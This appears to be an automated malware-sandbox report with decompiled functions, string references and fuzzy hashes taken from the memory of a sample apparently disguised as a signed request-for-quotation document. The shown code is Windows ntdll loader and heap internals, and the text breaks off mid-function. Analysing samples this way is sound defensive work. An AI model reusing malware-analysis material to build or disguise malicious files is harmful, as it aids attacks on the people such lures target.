0x00a325b2
0x00a32600
0x00a32600
0x00000000
0x00a325ba
0x00a325be
0x00a325d4
0x00a325d8
0x00a3287b
0x00a325e3
0x00a325e3
0x00a325e5
0x00a325e5
0x00a325eb
0x00a7d246
0x00a7d246
0x00a32602
0x00a32604
0x00000000
0x00000000
0x00a3260c
0x00a328cf
0x00a328d3
0x00a328d7
0x00a328d7
0x00a32617
0x00a3261f
0x00a32624
0x00a7d24f
0x00000000
0x00a3262a
0x00a3262a
0x00a32633
0x00a3264a
0x00a3264e
0x00a326cd
0x00a326cd
0x00000000
0x00a32663
0x00a32663
0x00a3266a
0x00a7d2c4
0x00000000
0x00000000
0x00a7d2ca
0x00a32670
0x00a32678
0x00a3269c
0x00a326a0
0x00a326d7
0x00a326d7
0x00a326dd
0x00a328e1
0x00a328e8
0x00a328ec
0x00a328ec
0x00a326e3
0x00a326e5
0x00000000
0x00000000
0x00a326eb
0x00a3270f
0x00a32714
0x00a32717
0x00a328fc
0x00a328fe
0x00a7d352
0x00000000
0x00a7d368
0x00a7d368
0x00000000
0x00a7d368
0x00a7d352
0x00a32904
0x00a32904
0x00a3290a
0x00a7d38b
0x00a7d38f
0x00000000
0x00000000
0x00a7d39d
0x00a7d39d
0x00a32910
0x00a3291c
0x00a32920
0x00000000
0x00000000
0x00a32926
0x00a3292c
0x00a32983
0x00a32983
0x00a3292e
0x00000000
0x00a3292e
0x00a3271f
0x00a3286a
0x00000000
0x00000000
0x00a7d349
0x00a32727
0x00a32738
0x00a32741
0x00a32745
0x00000000
0x00000000
0x00000000
0x00a32745
0x00a32725
0x00a32725
0x00000000
0x00a7d325
0x00a7d32a
0x00a7d331
0x00a7d33a
0x00a7d33e
0x00000000
0x00000000
0x00000000
0x00a7d344
0x00a326eb
0x00a326a7
0x00a326ab
0x00a326ad
0x00a326b0
0x00a326b4
0x00a7d2cf
0x00a7d2d8
0x00000000
0x00a7d2e9
0x00a7d2f6
0x00a7d2ff
0x00a7d302
0x00a7d307
0x00a7d30a
0x00a7d30d
0x00a7d312
0x00a7d317
0x00a7d31b
0x00a326c4
0x00a326c7
0x00a3293d
0x00a32943
0x00a3297b
0x00a32945
0x00a32945
0x00a32945
0x00a32949
0x00a3294d
0x00a326d1
0x00a326d1
0x00a326d5
0x00000000
0x00000000
0x00000000
0x00a326d5
0x00000000
0x00a326c7
0x00a7d2d8
0x00a326ba
0x00a326ba
0x00a326bf
0x00000000
0x00a326bf
0x00a3264e
0x00a32635
0x00a3263b
0x00a7d25d
0x00000000
0x00000000
0x00a7d263
0x00a7d26a
0x00a7d279
0x00a7d2b4
0x00a7d2b4
0x00000000
0x00a7d2b4
0x00a7d27b
0x00a7d282
0x00a7d28d
0x00a7d2aa
0x00a7d2ae
0x00000000
0x00000000
0x00000000
0x00a7d2ae
0x00a7d28f
0x00a7d296
0x00a7d29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3263b
0x00a32624
0x00a325f6
0x00a32886
0x00a3288d
0x00a32891
0x00a32897
0x00a3289e
0x00a328a4
0x00a328ba
0x00a328be
0x00000000
0x00000000
0x00a328c4
0x00000000
0x00a328c4
0x00a325fc
0x00000000
0x00a325fc
0x00000000
0x00a32881
0x00a325de
0x00000000
0x00a325de
0x00a7d23c
0x00a7d23c
0x00a7d23c
0x00000000
0x00a7d23c
0x00a3285d
0x00a32590
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32590

Strings

, xrefs: 00A324E4
Internal error check failed, xrefs: 00A7D3DB
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 00A7D3CC
, xrefs: 00A324C0
minkernel\ntdll\sxsisol.cpp, xrefs: 00A7D3D6

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 0-3393094623
Opcode ID: a823ea49e851f360ec437c703c020f35110f6d7d98f1f3ebc8381055af38218d
Instruction ID: 5ab2861b82ef48d47936b1853c70a69d678f33547e537ea944c045eddaf1fae2
Opcode Fuzzy Hash: a823ea49e851f360ec437c703c020f35110f6d7d98f1f3ebc8381055af38218d
Instruction Fuzzy Hash: 3B0288719083518BD724CF28C581BABBBF4BF88700F14892EF9999B251E774D985CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00AA64B5, Relevance: 6.4, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00AA64B5(intOrPtr __ecx, signed int __edx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				char _v140;
				char _v660;
				char* _v664;
				char* _v668;
				char* _v672;
				char* _v676;
				char* _v680;
				signed short _v684;
				intOrPtr _v688;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t39;
				void* _t42;
				void* _t58;
				signed char* _t59;
				signed int* _t66;
				signed char* _t75;
				void* _t77;
				void* _t80;
				signed int _t81;
				void* _t82;

				_t74 = __edx;
				_v8 =  *0xb0d360 ^ _t81;
				_t39 = __ecx;
				_v676 = L"Type:";
				_t78 = 0;
				_v688 = __ecx;
				_t66 = __edx;
				_v672 = L" Name:";
				_t68 = 0x208;
				_v668 = L" Language:";
				_t75 = 0x7ffe0384;
				_v664 = L" Item:";
				if((_a8 & 0x0000000e) == 0) {
					L10:
					if((_a8 & 0x00000001) != 0) {
						_t74 =  &_v660;
						_t71 = _t39;
						_t42 = E00AA6365(_t39,  &_v660, _t68, _t78, _t78, _t78, _t78);
						_t78 = _t42;
						if(_t42 >= 0) {
							E00A5BB40(_t71,  &_v684,  &_v660);
							if(E00A37D50() != 0) {
								_t75 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_t74 =  *_t75 & 0x000000ff;
							L00AA6715( &_v684,  *_t75 & 0x000000ff);
						}
					}
					return L00A5B640(_t78, _t66, _v8 ^ _t81, _t74, _t75, _t78);
				}
				_v684 = 0x2080000;
				_v680 =  &_v660;
				_t77 = 0;
				E00A2A990(0x208,  &_v684, L"SR - ");
				_t80 =  &_v676 - _t66;
				do {
					E00A2A990(_t68,  &_v684,  *((intOrPtr*)(_t80 + _t66)));
					_t54 =  *_t66;
					if(( *_t66 & 0xffff0000) == 0 || _t77 == 3) {
						_t68 =  &_v140;
						L00A65F00(_t54,  &_v140, 0x40, 0xa);
						_t82 = _t82 + 0x10;
						_t54 =  &_v140;
					}
					E00A2A990(_t68,  &_v684, _t54);
					_t77 = _t77 + 1;
					_t66 =  &(_t66[1]);
				} while (_t77 < _a4);
				_t58 = E00A37D50();
				_t75 = 0x7ffe0384;
				if(_t58 == 0) {
					_t59 = 0x7ffe0384;
				} else {
					_t59 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t74 =  *_t59 & 0x000000ff;
				L00AA6715( &_v684,  *_t59 & 0x000000ff);
				_t78 = 0;
				E00A5FA60( &_v660, 0, _v684 & 0x0000ffff);
				_t39 = _v688;
				_t68 = 0x208;
				goto L10;
			}

0x00aa64b5
0x00aa64c7
0x00aa64cc
0x00aa64ce
0x00aa64d8
0x00aa64da
0x00aa64e4
0x00aa64e7
0x00aa64f1
0x00aa64f6
0x00aa6500
0x00aa6505
0x00aa650f
0x00aa65e6
0x00aa65ea
0x00aa65f1
0x00aa65f7
0x00aa65f9
0x00aa65fe
0x00aa6602
0x00aa6612
0x00aa661e
0x00aa6629
0x00aa6629
0x00aa662f
0x00aa6638
0x00aa6638
0x00aa6602
0x00aa664f
0x00aa664f
0x00aa651b
0x00aa6525
0x00aa652b
0x00aa6539
0x00aa6544
0x00aa6546
0x00aa6550
0x00aa6555
0x00aa655c
0x00aa6567
0x00aa656f
0x00aa6574
0x00aa6577
0x00aa6577
0x00aa6585
0x00aa658a
0x00aa658b
0x00aa658e
0x00aa6593
0x00aa6598
0x00aa659f
0x00aa65b1
0x00aa65a1
0x00aa65aa
0x00aa65aa
0x00aa65b3
0x00aa65bc
0x00aa65c8
0x00aa65d3
0x00aa65d8
0x00aa65e1
0x00000000

Strings

SR - , xrefs: 00AA652D
Type:, xrefs: 00AA64CE
Item:, xrefs: 00AA6505
Name:, xrefs: 00AA64E7
Language:, xrefs: 00AA64F6

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: Item:$ Language:$ Name:$SR - $Type:
API String ID: 0-3082644519
Opcode ID: d34af674af600dbf4b7756b3d3034dab4a52bd6d0de847c761683b374ca71964
Instruction ID: e4b060d0fd7ce0ae6a882d9381085ddddfe559204f675e87475d258e2f0865cb
Opcode Fuzzy Hash: d34af674af600dbf4b7756b3d3034dab4a52bd6d0de847c761683b374ca71964
Instruction Fuzzy Hash: 9A418071A0022D6FCB20DB65DD59BDAB7BCEF46310F0841E5A848A7291DF349E84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A140E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00A140E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00A1B150();
					} else {
						E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00A1B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E00A1B150(", passed to %s", _t29);
					}
					_push("\n");
					E00A1B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0xb06378 = 1;
						asm("int3");
						 *0xb06378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x00a140e6
0x00a140e8
0x00a140f1
0x00a7042d
0x00a7044c
0x00a70451
0x00a7042f
0x00a70444
0x00a70449
0x00a7045d
0x00a70466
0x00a7046e
0x00a70474
0x00a70475
0x00a7047a
0x00a7048a
0x00a7048c
0x00a70493
0x00a70494
0x00a70494
0x00000000
0x00a7049b
0x00000000

Strings

RtlAllocateHeap, xrefs: 00A70468
Invalid heap signature for heap at %p, xrefs: 00A70458
HEAP: , xrefs: 00A7044C
, passed to %s, xrefs: 00A70469
HEAP[%wZ]: , xrefs: 00A7043F

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: 1757e02d46555e712929c0b0e2fb51bb0c7b571e2a8e23691dcdc9cd896996e9
Instruction ID: 8aaf6b1b8745f7dfd34c971da22518debed7ae6328e69c02f414055775981cc8
Opcode Fuzzy Hash: 1757e02d46555e712929c0b0e2fb51bb0c7b571e2a8e23691dcdc9cd896996e9
Instruction Fuzzy Hash: B801FC32124344FED229DB68E91EFA277B4DB46B35F29C069F20957681CBA498C0C365

Uniqueness

Uniqueness Score: -1.00%

Function 00A4701D, Relevance: 5.6, Strings: 4, Instructions: 569
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00A4701D(void* __ebx, signed int __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t253;
				short _t254;
				signed int* _t256;
				signed int* _t257;
				signed int _t258;
				signed char* _t259;
				signed int* _t261;
				signed int _t263;
				signed int* _t267;
				signed int _t268;
				signed int _t275;
				signed char _t281;
				signed int _t290;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t303;
				signed int _t304;
				signed short _t308;
				signed int _t312;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t339;
				signed int _t348;
				signed int _t351;
				short _t357;
				signed char _t363;
				signed int _t366;
				signed char _t369;
				void* _t370;
				signed int _t371;
				signed int _t375;
				signed int _t386;
				signed int _t389;
				signed int* _t391;
				signed int _t398;
				signed int _t399;
				signed int _t401;
				signed int _t409;
				intOrPtr _t410;
				signed int _t414;
				signed int _t415;
				void* _t417;
				void* _t418;
				void* _t419;
				signed int _t426;
				void* _t428;

				_push(0x338);
				_push(0xaf0060);
				E00A6D0E8(__ebx, __edi, __esi);
				 *(_t418 - 0x2f4) = __edx;
				 *(_t418 - 0x2e8) = __ecx;
				 *(_t418 - 0x2f0) =  *(_t418 + 0xc);
				 *(_t418 - 0x304) =  *(_t418 + 0x14);
				 *(_t418 - 0x328) =  *(_t418 + 0x18);
				 *(_t418 - 0x30c) =  *(_t418 + 0x1c);
				 *(_t418 - 0x308) =  *(_t418 + 0x20);
				 *(_t418 - 0x2e4) = 0;
				 *((intOrPtr*)(_t418 - 0x31c)) = 0;
				 *((intOrPtr*)(_t418 - 0x318)) = 0;
				 *((intOrPtr*)(_t418 - 0x314)) = 0;
				 *((intOrPtr*)(_t418 - 0x310)) = 0;
				 *((char*)(_t418 - 0x2d9)) = 0;
				_t389 =  *(_t418 + 8);
				 *(_t418 - 0x334) = _t389 & 0x00000040;
				 *((char*)(_t418 - 0x2da)) = 0;
				 *((char*)(_t418 - 0x2db)) = 0;
				_t357 = 0x4a;
				 *((short*)(_t418 - 0x300)) = _t357;
				_t253 = 0x4c;
				 *((short*)(_t418 - 0x2fe)) = _t253;
				 *(_t418 - 0x2fc) = L"LdrpResSearchResourceMappedFile Enter";
				_t254 = 0x48;
				 *((short*)(_t418 - 0x348)) = _t254;
				 *((short*)(_t418 - 0x346)) = _t357;
				 *(_t418 - 0x344) = L"LdrpResSearchResourceMappedFile Exit";
				_t256 =  *( *[fs:0x30] + 0x50);
				if(_t256 != 0) {
					__eflags =  *_t256;
					if(__eflags == 0) {
						goto L1;
					}
					_t257 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
					L2:
					if(( *_t257 & 1) != 0) {
						_t258 = E00A37D50();
						__eflags = _t258;
						if(_t258 == 0) {
							_t259 = 0x7ffe0384;
						} else {
							_t259 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
						}
						L00AA6715(_t418 - 0x300,  *_t259 & 0x000000ff);
						_t389 =  *(_t418 + 8);
					}
					_t409 = 0;
					_t413 = _t389 & 0x00000080;
					if( *((intOrPtr*)(_t418 + 0x10)) == 3) {
						_t261 =  *(_t418 - 0x2f0);
						_t409 = _t261[2] & 0x0000ffff;
						 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
						__eflags =  *_t261 & 0xffff0000;
						if(( *_t261 & 0xffff0000) != 0) {
							__eflags = E00A5E490( *_t261, L"MUI");
							if(__eflags != 0) {
								goto L41;
							}
							_t263 = 1;
							L42:
							 *((char*)(_t418 - 0x2d9)) = _t263;
							 *(_t418 - 4) = 0xfffffffe;
							_t389 =  *(_t418 + 8);
							goto L4;
						}
						L41:
						_t263 = 0;
						__eflags = 0;
						goto L42;
					} else {
						L4:
						_t348 = _t413;
						if((_t389 & 0x00000010) == 0) {
							_t348 = _t413;
							__eflags =  *((intOrPtr*)(_t418 + 0x10)) - 1;
							if(__eflags < 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(_t418 + 0x10)) - 3;
							if(__eflags > 0) {
								goto L5;
							}
							_t351 =  *(_t418 - 0x2f0);
							if(__eflags != 0) {
								_t386 = 0;
							} else {
								_t386 =  *(_t351 + 8) & 0x0000ffff;
							}
							__eflags =  *_t351 - 0x10;
							if( *_t351 != 0x10) {
								__eflags =  *_t351 - 0x18;
								if( *_t351 == 0x18) {
									goto L55;
								}
								__eflags =  *((char*)(_t418 - 0x2d9));
								if(__eflags == 0) {
									goto L56;
								}
								goto L55;
							} else {
								L55:
								__eflags =  !_t389 & 0x00000008;
								if(__eflags != 0) {
									__eflags = _t386;
									if(__eflags != 0) {
										__eflags = _t386 - 0x400;
										if(__eflags == 0) {
											goto L65;
										}
										__eflags = _t386 - 0x800;
										if(__eflags != 0) {
											goto L56;
										}
									}
									L65:
									_t389 = _t389 | 0x00000010;
									 *(_t418 + 8) = _t389;
									_t348 = _t413;
									goto L5;
								}
								L56:
								_push(1);
								_push(_t389);
								_push(0);
								_push( *(_t418 - 0x2f4));
								_push( *(_t418 - 0x2e8));
								_t339 = E00A262A0(_t351, _t409, _t413, __eflags);
								 *(_t418 - 0x2d8) = _t339;
								__eflags = _t339;
								if(_t339 >= 0) {
									_t348 = E00A17406( *(_t418 - 0x2e8), _t351, _t386,  *(_t418 + 8)) | _t413;
									L59:
									_t389 =  *(_t418 + 8);
									goto L5;
								}
								__eflags = _t339 - 0xc000008a;
								if(_t339 != 0xc000008a) {
									L95:
									_t363 = 1;
									L36:
									_t391 = 0x7ffe0385;
									_t96 = _t391 - 1; // 0x7ffe0384
									_t349 = _t96;
									_t267 =  *( *[fs:0x30] + 0x50);
									if(_t267 != 0) {
										__eflags =  *_t267;
										if( *_t267 != 0) {
											_t391 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
										}
									}
									if(( *_t391 & _t363) != 0) {
										_t268 = E00A37D50();
										__eflags = _t268;
										if(_t268 != 0) {
											_t349 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											__eflags =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
										}
										L00AA6715(_t418 - 0x348,  *_t349 & 0x000000ff);
										goto L38;
									} else {
										L38:
										L39:
										return E00A6D130(_t349, _t409, _t413);
									}
								}
								_t348 = _t413 | 0x00080000;
								__eflags = _t348;
								goto L59;
							}
						}
						L5:
						if((_t348 & 0x00060000) == 0x60000) {
							 *(_t418 - 0x2d8) = 0xc000008a;
							goto L95;
						}
						_t366 =  !_t348;
						_t275 =  !_t389;
						_t426 = _t275 & 0x00000010;
						asm("bt ecx, 0x13");
						asm("bt ecx, 0x11");
						 *(_t418 - 0x2d1) = _t426 != 0;
						 *(_t418 - 0x2d0) = 1;
						 *((short*)(_t418 - 0x2cc)) = 0;
						if(((_t389 & 0xffffff00 | _t426 != 0x00000000) & (_t275 & 0xffffff00 | _t426 > 0x00000000) & ((_t275 & 0xffffff00 | _t426 > 0x00000000) & 0xffffff00 | _t426 > 0x00000000)) != 0) {
							L43:
							_t281 =  *(_t418 + 8);
							__eflags = _t281 & 0x00000010;
							if((_t281 & 0x00000010) != 0) {
								__eflags = _t281 & 0x00000020;
								if(__eflags == 0) {
									goto L44;
								}
								L8:
								_t413 =  *(_t418 - 0x2e8);
								_t409 =  *(_t418 - 0x2f4);
								L9:
								_t398 =  *(_t418 + 8);
								L10:
								asm("bt eax, 0x12");
								asm("bt ebx, 0x13");
								if(((( !_t349 & 0xffffff00 | _t428 >= 0x00000000) & 0xffffff00 | (_t398 & 0x00000010) == 0x00000000) & (_t366 & 0xffffff00 | _t428 >= 0x00000000) & ( !_t349 & 0xffffff00 | _t428 >= 0x00000000)) == 0) {
									_push(_t418 - 0x314);
									_push(_t418 - 0x31c);
									_push(_t398);
									_push(_t409);
									_push(_t413);
									_t290 = L00A47620(_t349, _t409, _t413, __eflags);
									__eflags = _t290;
									if(_t290 >= 0) {
										do {
											goto L11;
											L34:
										} while (_t409 < 0 && _t299 != 0);
										goto L36;
									}
									goto L39;
								}
								L11:
								asm("sbb al, al");
								_t369 =  !( ~(_t349 & 0x00020000)) &  *(_t418 - 0x2d1);
								 *(_t418 - 0x2d1) = _t369;
								 *(_t418 - 0x2e9) = _t369;
								 *(_t418 - 0x2dc) = _t369;
								_t409 = 0;
								 *(_t418 - 0x2d8) = 0;
								 *(_t418 - 0x2e0) =  *(_t418 - 0x2e0) & 0;
								 *(_t418 - 0x2f8) = 0;
								_t414 = 0;
								while(1) {
									 *(_t418 - 0x2fc) = _t414;
									if(_t414 >= ( *(_t418 - 0x2d0) & 0x0000ffff)) {
										break;
									}
									if(_t369 != 0) {
										 *(_t418 - 0x2e4) =  *(_t418 - 0x2e4) & 0x00000000;
										 *(_t418 - 0x2e0) =  *(_t418 - 0x2e0) & 0x00000000;
										_t302 =  *(_t418 + _t414 * 8 - 0x2cc) & 0x0000ffff;
										__eflags = _t302;
										if(_t302 != 0) {
											__eflags =  *((intOrPtr*)(_t418 + _t414 * 8 - 0x2c8)) - 0xa;
											if( *((intOrPtr*)(_t418 + _t414 * 8 - 0x2c8)) == 0xa) {
												L68:
												_t409 = 0xc000000d;
												 *(_t418 - 0x2d8) = 0xc000000d;
												L121:
												_t414 = _t414 + 1;
												continue;
											}
											 *(_t418 - 0x2f8) = _t302;
											__eflags = _t369;
											if(__eflags == 0) {
												goto L14;
											}
											_push(_t349 | 0x00001000);
											_push(_t418 - 0x2e0);
											_push(_t418 - 0x2e4);
											_push( *(_t418 - 0x2f8));
											_push( *(_t418 - 0x2e8));
											_t409 = E00A2BA00(_t349, _t409, _t414, __eflags);
											 *(_t418 - 0x2d8) = _t409;
											__eflags = _t409;
											if(_t409 < 0) {
												__eflags = _t409 - 0xc0000034;
												if(_t409 == 0xc0000034) {
													L106:
													_t409 = 0xc00b0001;
													 *(_t418 - 0x2d8) = 0xc00b0001;
													L120:
													_t369 =  *(_t418 - 0x2d1);
													goto L121;
												}
												__eflags = _t409 - 0xc000003a;
												if(_t409 != 0xc000003a) {
													goto L120;
												}
												goto L106;
											}
											 *((char*)(_t418 - 0x2da)) = 1;
											__eflags =  *(_t418 - 0x2e0);
											if(__eflags == 0) {
												_push(1);
												_push(0x200);
												_push(_t418 - 0x2e0);
												_push( *(_t418 - 0x2e4));
												_t409 = E00A484E0(_t349, _t409, _t414, __eflags);
												 *(_t418 - 0x2d8) = _t409;
											}
											_t298 =  *(_t418 + 8);
											__eflags = _t298 & 0x00001000;
											if(__eflags == 0) {
												L76:
												_push(_t418 - 0x310);
												_push(_t418 - 0x318);
												_push(_t298);
												_push( *(_t418 - 0x2e0));
												_push( *(_t418 - 0x2e4));
												_t409 = L00A47620(_t349, _t409, _t414, __eflags);
												 *(_t418 - 0x2d8) = _t409;
												_t369 =  *(_t418 - 0x2d1);
												__eflags = _t409;
												if(_t409 >= 0) {
													goto L14;
												}
												goto L121;
											} else {
												__eflags = _t409;
												if(__eflags < 0) {
													_t369 =  *(_t418 - 0x2d1);
													_t413 =  *(_t418 - 0x2f0);
													L29:
													if(_t369 != 0) {
														__eflags = _t298 & 0x00200000;
														if((_t298 & 0x00200000) == 0) {
															E00A44CD4( *(_t418 - 0x2e4),  *(_t418 - 0x2e0), _t413,  *((intOrPtr*)(_t418 + 0x10)));
														}
													}
													if(_t409 >= 0) {
														L49:
														_t299 =  *(_t418 - 0x2d1);
														goto L32;
													} else {
														_t371 =  *(_t418 - 0x2e9);
														_t299 = _t371;
														 *(_t418 - 0x2d1) = _t299;
														if(_t371 != 0) {
															__eflags =  *((char*)(_t418 - 0x2db));
															if( *((char*)(_t418 - 0x2db)) != 0) {
																L137:
																_t370 = 0;
																__eflags = _t349 & 0x00040000;
																if((_t349 & 0x00040000) != 0) {
																	_t299 = 0;
																	__eflags = 0;
																} else {
																	_t349 = _t349 | 0x00020000;
																	_t299 =  *(_t418 - 0x2dc);
																}
																 *(_t418 - 0x2d1) = _t299;
																L33:
																_t363 = _t370 + 1;
																goto L34;
															}
															__eflags =  *((char*)(_t418 - 0x2da));
															if( *((char*)(_t418 - 0x2da)) != 0) {
																goto L137;
															}
															_t300 = L00A16398( *(_t418 - 0x2e8));
															__eflags = _t300;
															if(_t300 < 0) {
																goto L137;
															}
															_t349 = _t349 | 0x00400000;
															_t363 = 1;
															 *((char*)(_t418 - 0x2db)) = 1;
															_t299 =  *(_t418 - 0x2dc);
															 *(_t418 - 0x2d1) = _t299;
															goto L34;
														}
														L32:
														_t370 = 0;
														goto L33;
													}
												}
												goto L76;
											}
										}
										__eflags =  *((intOrPtr*)(_t418 + _t414 * 8 - 0x2c8)) - 2;
										if( *((intOrPtr*)(_t418 + _t414 * 8 - 0x2c8)) == 2) {
											goto L121;
										}
										goto L68;
									}
									L14:
									 *(_t418 - 0x32c) =  *(_t418 - 0x32c) & 0x00000000;
									if(_t369 != 0) {
										 *(_t418 - 0x320) =  *(_t418 - 0x320) & 0x00000000;
									} else {
										 *(_t418 - 0x320) = _t418 - 0x2f8;
									}
									_t415 =  *(_t418 + 8);
									if(_t369 != 0) {
										_t415 = _t415 | 0x00000020;
									}
									_t303 =  *(_t418 - 0x328);
									if(_t303 == 0) {
										_t303 = _t418 - 0x32c;
									}
									 *(_t418 - 0x324) = _t303;
									_t410 =  *((intOrPtr*)(_t418 - 0x310));
									if(_t369 != 0) {
										_t399 =  *((intOrPtr*)(_t418 - 0x318));
									} else {
										_t410 =  *((intOrPtr*)(_t418 - 0x314));
										_t399 =  *((intOrPtr*)(_t418 - 0x31c));
									}
									_t304 =  *(_t418 - 0x2e0);
									if(_t369 != 0) {
										_t375 =  *(_t418 - 0x2e4);
									} else {
										_t304 =  *(_t418 - 0x2f4);
										_t375 =  *(_t418 - 0x2e8);
									}
									_t413 =  *(_t418 - 0x2f0);
									_t409 = E00A478A0(_t375, 0, _t304, _t399, _t410, 0,  *(_t418 - 0x2f0),  *((intOrPtr*)(_t418 + 0x10)), _t418 - 0x2d0,  *(_t418 - 0x304),  *(_t418 - 0x324), _t415,  *(_t418 - 0x320));
									 *(_t418 - 0x2d8) = _t409;
									if( *(_t418 - 0x334) != 0) {
										__eflags =  !_t349 & 0x00040000;
										if(__eflags == 0) {
											goto L24;
										}
										_t369 =  *(_t418 - 0x2d1);
										__eflags = _t409;
										if(__eflags < 0) {
											goto L26;
										}
										_t404 =  *(_t418 - 0x304);
										__eflags =  *(_t418 - 0x304);
										if(__eflags == 0) {
											goto L25;
										}
										__eflags = _t369;
										if(__eflags == 0) {
											goto L25;
										}
										_t320 =  *(_t418 - 0x328);
										__eflags = _t320;
										if(_t320 == 0) {
											_t321 =  *(_t418 - 0x32c);
										} else {
											_t321 =  *_t320;
										}
										_t409 = E00A50245( *(_t418 - 0x2e4),  *_t404, _t321,  *((intOrPtr*)(_t413 + 0xc)), 1);
										 *(_t418 - 0x2d8) = _t409;
										__eflags = _t409;
										if(__eflags < 0) {
											 *( *(_t418 - 0x304)) =  *( *(_t418 - 0x304)) & 0x00000000;
											__eflags = _t409 - 0xc000007b;
											if(__eflags == 0) {
												goto L95;
											}
										}
										goto L24;
									} else {
										L24:
										_t369 =  *(_t418 - 0x2d1);
										L25:
										if(_t409 >= 0) {
											L47:
											_t401 =  *(_t418 - 0x308);
											__eflags = _t401;
											if(_t401 == 0) {
												L28:
												_t298 =  *(_t418 + 8);
												goto L29;
											}
											_t308 =  *(_t418 - 0x2f8);
											__eflags = _t308;
											if(_t308 != 0) {
												 *((intOrPtr*)(_t418 - 0x33c)) = _t418 - 0xc8;
												 *((short*)(_t418 - 0x33e)) = 0xac;
												_t409 = L00A24720(_t401, _t308 & 0x0000ffff, _t418 - 0x340, 2, 0);
												 *(_t418 - 0x2d8) = _t409;
												__eflags = _t409;
												if(_t409 < 0) {
													goto L95;
												}
												_t312 = ( *(_t418 - 0x340) & 0x0000ffff) >> 1;
												__eflags = _t312;
												_t401 =  *(_t418 - 0x308);
												goto L126;
											} else {
												_t312 = 0;
												 *((short*)(_t418 - 0xc8)) = 0;
												L126:
												 *(_t418 - 0x2fc) = _t312;
												_t363 = 1;
												 *(_t418 - 4) = 1;
												__eflags = _t312 -  *_t401;
												if(_t312 >=  *_t401) {
													L130:
													 *_t401 = _t312 + 1;
													 *(_t418 - 0x2d8) = 0xc0000023;
													 *(_t418 - 4) = 0xfffffffe;
													goto L36;
												}
												__eflags =  *(_t418 - 0x30c);
												if( *(_t418 - 0x30c) == 0) {
													goto L130;
												}
												_t417 = _t312 + _t312;
												E00A5F3E0( *(_t418 - 0x30c), _t418 - 0xc8, _t417);
												_t419 = _t419 + 0xc;
												 *( *(_t418 - 0x308)) =  *(_t418 - 0x2fc) + 1;
												__eflags = 0;
												 *((short*)(_t417 +  *(_t418 - 0x30c))) = 0;
												 *(_t418 - 4) = 0xfffffffe;
												_t369 =  *(_t418 - 0x2d1);
												break;
											}
											goto L49;
										}
										L26:
										if(_t369 != 0) {
											_t319 = E00AA9024(_t349,  *(_t418 - 0x2e8),  *(_t418 - 0x2f4), _t409, __eflags,  *(_t418 - 0x2e4),  *(_t418 - 0x2e0));
											__eflags = _t319;
											if(_t319 != 0) {
												_t369 =  *(_t418 - 0x2d1);
												goto L28;
											}
											_t414 =  *(_t418 - 0x2fc);
											goto L120;
										}
										if(_t409 >= 0) {
											goto L47;
										}
										goto L28;
									}
								}
								_t413 =  *(_t418 - 0x2f0);
								goto L28;
							}
							L44:
							__eflags = _t281 & 0x00000004;
							if((_t281 & 0x00000004) != 0) {
								_t349 = _t348 | 0x00000004;
							}
							_t409 =  *(_t418 - 0x2f4);
							_t413 =  *(_t418 - 0x2e8);
							_t366 = _t413;
							__eflags = E00A299C7(_t366, _t409, _t409, _t349, _t418 - 0x2d0);
							if(__eflags >= 0) {
								goto L9;
							} else {
								_t398 =  *(_t418 + 8);
								__eflags = _t398 & 0x00001000;
								if(__eflags == 0) {
									goto L10;
								} else {
									goto L39;
								}
								goto L47;
							}
						}
